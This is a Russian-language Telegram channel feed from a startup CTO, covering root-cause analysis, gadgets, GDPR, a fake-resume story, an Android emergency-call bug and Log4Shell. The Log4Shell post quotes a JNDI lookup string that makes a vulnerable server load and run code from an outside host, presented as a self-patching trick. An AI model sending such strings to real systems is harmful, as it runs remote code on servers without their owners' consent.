👾 твой cto – Telegram
👾 твой cto
1.03K subscribers
13 photos
11 videos
141 links
Будни технического директора
Илья Чекальский (@ilya0)
chekalsky.com
Download Telegram
🤨 Пять почему (Five whys)

Иногда для поиска причин какой-то проблемы может пригодиться техника, называемая «Пять почему». Она очень простая и заключается в том, чтобы задать вопрос «Почему?» пять раз, каждый раз углубляясь всё дальше и дальше к первопричине.

Первый раз эта техника была описана архитектором производственной системы Тойоты Тайити Оно (также создателем kanban и lean manufacturing) в его книге: “the basis of Toyota’s scientific approach ... by repeating why five times, the nature of the problem as well as its solution becomes clear”.

Лучше всего учиться на примерах, поэтому вот он:

1. Сайт упал. Почему? Потому что CPU на сервере БД упёрся в 100%.
2. Почему нам не хватило мощности сервера? На сайт пришло в 10 раз больше посетителей, чем обычно, а у нас нет второго сервера для распределения нагрузки.
3. Почему мы не арендовали и не настроили второй сервер? Нам показалось, что это было бы лишней тратой денег.
4. Почему мы решили, что это лишняя трата денег? Потому что мы не знаем, сколько денег мы должны тратить на инфраструктуру.
5. Почему мы не знаем, сколько денег мы должны тратить на инфраструктуру? Потому что мы никогда не составляли бюджет отдела и не рассчитывали, сколько денег мы можем потратить на те или иные улучшения.

Бам! И у нас на руках есть вероятная причина проблем, из которой уже легко сформулировать тикет (или несколько) и избежать аналогичных проблем в будущем. Обратите внимание, что в этой ситуации корни технической проблемы лежат в процессах — и это правда для большинства проблем, с которыми мы сталкиваемся. Помните, мы не ищем виновных, мы ищем точки для улучшений.

Ну и будем честны, большинство ИТ компаний просто не обладает ресурсами для частого и детального аудита всех компонентов и систем на предмет возможных дефектов, реактивный метод работы над ошибками в конечном итоге позволяет строить всё более и более надёжные системы.

Короткая шпаргалка о том, как проводить «Пять Почему Встречи»:
1. Пригласите всех причастных.
2. Назначьте ведущего, который будет задавать вопросы и вести конспект.
3. Спросите «Почему?» пять раз.
4. Назначьте ответственных за решение корня проблемы.
5. Напишите имейл с результатами всей команде.

«Пять почему» не идеальная техника, и нужно хорошо понимать, какие опасности есть при её использовании: можно останавливаться на симптомах вместо углубления в первопричины, вы никогда не определите причину, если не догадываетесь о её существовании, и наоборот, если у вас уже есть мнение, вы можете подгонять ответы, разные люди могут прийти к разным заключениям, можно зарыться в какую-то одну причину, когда их может быть несколько — просто учитывайте это, чем больше таких встреч вы проведёте, тем точнее будут ваши находки.

Если идея вам нравится, то рекомендую ознакомиться с чуть более развёрнутым вариантом этого поста и/или этими двумя статьями с деталями от Эрика Риза.
​​🎞 После того, как я в очередной раз удалил 90% из сделанных за неделю фотографий по причине недостаточной исторической и художественной ценности, я не выдержал и купил старый плёночный фотоаппарат, вдохновлённый идеей о том, что на следующую неделю или две у меня есть 36 кадров, ни фото больше.

Это значит, что над каждым кадром и его композицией придётся думать больше, чем полсекунды. Что я не увижу, что получилось, а значит, не смогу его проконтролировать и переснять. Почему-то это добавило мне не тревогу о том, что я что-то могу упустить, а наоборот — спокойствие. И мне кажется, что идея конечного количества ресурсов и невозможности получить результат моментально ещё недооценены и вернутся в нашу жизнь в том или ином виде. Есть ситуации, когда нам вовсе не нужно сразу поделиться кадром, отретушированным лучшими в своём классе нейронками, а хочется добавить магии и подождать, пока плёнка отснимется до конца и химикаты в лаборатории запечатают частички серебра на кусочке пластика.

Кажется, о том же подумал создатель соцсети minus, в которой всё, что у вас есть — это 100 постов. Только 100 постов, ни одним больше. Как только счётчик дойдёт до нуля — конец, больше ничего написать не получится. Плохая идея для бизнеса, но потрясающая идея для арт-перформанса.
​​⚡️ Будущее пришло откуда не ждали

ИКЕА разработала «невидимую» зарядку Sjömärke, которая крепится под стол и заряжает устройства по Qi стандарту. Сверху клеится маленький крестик, показывающий, куда нужно класть телефон или наушники, и они заряжаются, просто лежа на столе, выглядит и ощущается как магия, не меньше.

Подходит к столешницам от 8 до 22мм (у меня как раз 22мм, работает отлично даже с чехлом), устанавливается за 5 минут на двусторонний скотч (в комплекте) или на шурупы. В Польше уже в наличии.
​​🌱 Я знаю, что над Apple принято смеяться, когда речь заходит об их отношении к окружающей среде, но сегодня я предлагаю вам насладиться вниманием к деталям.

На фото — ручки пакета из официального магазина Apple, они выглядят и ощущаются как обычные матерчатые шнурочки, мы такие видели тысячу раз, но вот только сделаны они из бумаги, как и сам пакетик, таким образом его можно целиком отправить в повторную переработку (он и так на 80% из вторсырья сделан).
​​ Нейронка, которая комментирует ваши ходы в шахматах

ChessCoach играет лучше людей (3450 Elo), но может проиграть более сильной нейронке. Тренировалась играя сама против себя. По ссылке есть детальное описание от автора, будет полезно многим, кто хочет вкатиться в разработку нейронок.

Поиграть против нейронки и почитать её комментарии можно вот тут.
​​🍎 С 31 Января Apple будет требовать от приложений возможность удалить аккаунт

В соответствии с изменениями в гайдлайнах все приложения, которые позволяют создать аккаунт, должны также предоставить возможность его удалить — это правило будет применено ко всем апдейтам в App Store начиная с 31 Января 2022 года.

Мне этот вектор, конечно, нравится. Если вы помните, я большой фанат GDPR. Здесь, в Евросоюзе, мне не поступают спам-звонки, а если мне стало некомфортно от того, что какой-то сервис хранит мои персональные данные, то решить это можно одним письмом.

В нашей компании neural.love мы применяем требования и принципы GDPR ко всем пользователям; автоматическая функция удаления аккаунта появилась после первого же запроса о забвении (прошло несколько месяцев с момента выхода в продакшен), при этом, когда аккаунт удаляется, мы правда удаляем всё, кроме финансовых данных, которые мы храним по требованию закона.

Это приводит к забавным казусам, например, когда мы собираем аналитику по качеству процессинга, и юзер дизлайкает портрет, а затем удаляет его или даже целиком свой аккаунт, то мы не можем посмотреть, что не так, потому что честно удалили файл с сервера 😅
🇪🇺 Возможно утекли приватные ключи, которыми подписываются онлайн-сертификаты о прививках в ЕС.

В сети гуляют два сертификата, выданные на имя Адольфа Гитлера и подписанные валидными ключами Польского и Французского минздравов. Журналисты заявляют, что связались с человеком, выдающим себя за автора подделок и предлагающего услуги по подделке сертификатов за 300 евро.

В целом есть два возможных объяснения: либо взломана (или просто незаконно использована) инфраструктура выдачи ковид-паспортов в двух странах одновременно, либо кто-то получил доступ к приватным ключам, которыми подписываются настоящие сертификаты.

Обсуждение в issues на GitHub.
​​👩‍💻 Последние несколько дней интернет обсуждает фейковое резюме, получившее много предложений об интервью в крупных компаниях типа Reddit, Airtable, Bolt и Dropbox, в котором помимо прочего было написано, что разработчица является экспертом в Mia Khalifa и майнила Ethereum на корпоративных серверах.

Как раз этим летом у меня появилось немного опыта интервью в крупных западных компаниях, поэтому я бы хотел добавить свои две копейки:

— Компании такого размера получают сотни резюме на каждую позицию, а первичным отсеиванием обычно занимаются рекрутёры, у которых может не быть опыта, чтобы отделить Mia Khalifa от High Load (простите). На этом этапе они смотрят на какие-то базовые сигналы, которые могут провести кандидата на следующий уровень — обычно это телефонное интервью с рекрутёром, который, по моему опыту, будет уже довольно бегло ориентироваться в вашем резюме.

— В резюме из поста указан десятилетний опыт работы в Instagram, Zillow, LinkedIn и Microsoft. Сверху добавьте степень по Computer Science в Университете Беркли. Этого с головой достаточно, чтобы пройти скрининг и дойти до звонка. Поставь она в резюме компании, о которых ничего не известно, response rate упал бы на пару порядков (и это правда проблема, об этом ниже).

— Давайте теперь встанем на место рекрутёра и попробуем отличить названия покемонов от названий бигдата-технологий. Готовы отказать человеку с опытом работы в Instagram и Microsoft из-за того, что он указал Brainfuck в резюме?

— Даже если после скрининга и вступительного интервью с рекрутёром компания ничего не заметила, вас ждут ещё как минимум четыре раунда с настоящими менеджерами и разработчиками, которые тоже будут читать ваше резюме и задавать вопросы. Я думаю, любой fake it till you make it подход сломается на этом этапе. Но даже если нет, то соискателя ждёт background check, для которого вас попросят указать контакты ваших предыдущих работодателей, договоры, payslips и так далее, чтобы доказать, что вы не соврали в резюме.

Я сам столкнулся с тем, что с моим опытом работы в стартапах пробиться на интервью с живым человеком мне было сложно, вполне возможно потому что рекрутёрам намного проще иметь дело с людьми, которые уже работали в больших компаниях, знакомы с энтерпрайз-культурой и в целом более предсказуемы. Мне прямо говорили, что не готовы двигаться дальше так как сложно оценить мой менеджерский опыт, потому что в стартапе всё немного иначе, чем в большой корпорации. Кстати, разработчикам в этом плане проще, так как их уровень определить всё же легче.

Мой совет напоследок: обзаводитесь рефералами, то есть кем-то изнутри компании, кто напрямую вас посоветует, это поможет пройти входной фильтр, а так же учитесь продавать себя в том числе в резюме. Но это тема для отдельного поста.
🎧 Что же, AirPods 3-его поколения точно так же вываливаются из моих ушей, как и AirPods Pro, в связи с чем вопрос: не знаете, где можно пластику ушной раковины сделать, чтобы наушники нормально держались?

P.S. Мне скинули ссылки на компании, которые делают кастомные амбушюры, изучаю! (хотя пластика-то надёжнее будет!) (если Apple не поменяет дизайн в будущем)
🦾 Бесконечно приятная часть бытия разработчиком

Последние 6 лет я записываю каждый потраченный рубль, злотый или евро в специальном приложении для ведения бюджета. Я начал это делать чтобы избавиться от кредитной карты, на которой к тому моменту скопился долг, который всё никак не хотел уменьшаться. От карты удалось избавиться, а привычка осталась.

Долгое время я чувствовал себя неуверенно, потому что вокруг меня никто подобным не занимался. Но потом моя психотерапевтка посоветовала мне книгу (к сожалению, она только на польском), взгляд автора которой оказался мне очень близок. С тех пор я научился не только откладывать достаточно денег, но и инвестировать их в ETF, а самое главное — мне пришло осознание, что именно этот путь правильный для меня. Это всё тема для отдельного большого разговора, если вам интересно почитать больше про личные финансы, нажмите на кнопочку внизу.

Сейчас возникло желание перевести бюджет в приложении из злотых в евро, а для этого надо обновить суммы во всех транзакциях. Когда я переезжал в Польшу никакого способа это сделать не было, поэтому мне пришлось создавать бюджет заново и потерять возможность строить красивые графики за все 6 лет. До сих пор такого способа всё так же не появилось, зато у приложения появилось API 😏

В общем, пара вечеров, и конвертирующий все транзакции скрипт готов! 314 строчек кода, несколько часов дебага, три неконсистентные транзакции (видимо привет от noSQL на бэкенде), и у меня красивый свежий бюджет в евро с историей за последние 4 года.

Ни с чем не сравнимое чувство удовольствия от решения «нерешаемой» проблемы, когда видишь, что все числа до и после сходятся до евроцента.
​​🚑 29 ноября на реддите появился пост с историей пользователя телефона Pixel 3 о том, что он не смог дозвониться до экстренных служб, когда у его бабушки случился инсульт. К счастью, у бабушки был городской телефон, так что связаться со скорой помощью удалось, однако пост привлёк необходимое внимание и многие пользователи смогли воспроизвести проблему.

8 декабря представители Google публично отреагировали на произошедшее. По их словам, проблема затрагивает пользователей Android 10+ с установленным, но не залогиненным приложением Microsoft Teams. Google пообещала выпустить фикс в обновлении 4 января.

Как описал Mishaal Rahman, проблема заключается в том, что приложение MS Teams ошибочно создавало PhoneAccount в операционной системе при каждом запуске приложения, причём только в случае, если пользователь не авторизован. PhoneAccount создают все приложения, которые так или иначе взаимодействуют со звонками, но из-за бага, предположительно, MS Teams создавала столько аккаунтов, что в момент, когда операционная система выбирала, через какой аккаунт осуществить звонок в экстренные службы, происходило переполнение Integer.

На скриншоте — фикс на стороне Android.
🧪 Вы наверняка уже слышали про нашумевшую уязвимость Log4Shell, которая позволяла выполнять произвольный код на серверах Steam, AWS, Cloudflare, iCloud и миллионах других. Отдельно стоит отметить, что уязвимость находится в широкоиспользуемой open-source библиотеке, у главного мейнтейнера которой на момент открытия уязвимости было всего 5 спонсоров.

А вот самое красивое:

${jndi:ldap://hotpatch.log4shell.com:1389/a}

Так как выполнить можно абсолютно любой код, то отправив эту строчку на уязвимый сервер вы... пропатчите Log4j и пофиксите эту уязвимость с помощью самой уязвимости 🤯
🔥11
Forwarded from ExMuffin
🧔Обновленная модель генератора HD портретов 👩‍🦳

Недавно мы в neural.love выкатили новый генератор лиц по исходному изображению, который был анонсирован в одном из предыдущих постов. Точность значительно возросла, в сравнении со старой моделью, однако немного просела скорость. Теперь на вычисление тратится чуть больше времени, но оно того стоит. По окончанию работы можно будет либо сравнить изменения, двигая шторкой, либо просто забрать результат, который придет на email. Протестировать можно по ссылке ниже:

https://neural.love/portraits
🔥6